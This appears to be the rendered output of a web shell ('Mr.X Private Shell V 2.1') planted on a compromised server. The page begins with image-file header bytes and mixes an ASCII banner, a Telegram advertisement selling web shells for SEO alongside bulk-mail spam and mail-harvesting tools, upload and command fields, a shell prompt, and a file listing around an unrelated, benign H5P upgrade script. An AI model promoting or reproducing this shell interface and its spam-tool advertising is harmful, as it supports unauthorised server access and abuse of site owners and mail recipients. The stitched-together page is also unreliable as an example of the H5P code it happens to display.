����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
var H5PUpgrades = H5PUpgrades || {};

H5PUpgrades['H5P.SingleChoiceSet'] = (function () {
  return {
    1: {
      7: function (options, finished) {
        if (options.choices != undefined) {
          for (var i = 0; i < options.choices.length; i++) {
            if (options.choices[i] && options.choices[i].subContentId === undefined) {
              // NOTE: We avoid using H5P.createUUID since this is an upgrade script and H5P function may change in the
              // future
              options.choices[i].subContentId = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(char) {
                var random = Math.random()*16|0, newChar = char === 'x' ? random : (random&0x3|0x8);
                return newChar.toString(16);
              });
            }
          }
        }

        finished(null, options);
      },

      /**
       * Asynchronous content upgrade hook.
       * Upgrades content parameters to support Single Choice Set 1.9
       *
       * Move old feedback message to the new overall feedback system.
       *
       * @param {object} parameters
       * @param {function} finished
       */
      9: function (parameters, finished) {
        if (parameters && parameters.l10n && parameters.l10n.resultSlideTitle) {
          parameters.overallFeedback = [
            {
              'from': 0,
              'to': 100,
              'feedback': parameters.l10n.resultSlideTitle
            }
          ];

          delete parameters.l10n.resultSlideTitle;
        }

        finished(null, parameters);
      },
      11: function (parameters, finished, extras) {
        var title;

        if (parameters && parameters.choices && parameters.choices[0] && parameters.choices[0].question) {
          title = parameters.choices[0].question;
        }

        extras = extras || {};
        extras.metadata = extras.metadata || {};
        extras.metadata.title = (title) ? title.replace(/<[^>]*>?/g, '') : ((extras.metadata.title) ? extras.metadata.title : 'Single Choice Set');

        finished(null, parameters, extras);
      }
    }
  };
})();

Filemanager

Name Type Size Permission Actions
7c977c8b435519638298fb4bb2716ed832e024d7 File 2.06 KB 0666
7c97f0f0ae187827c70018d8faad855637883eb2 File 6.09 KB 0666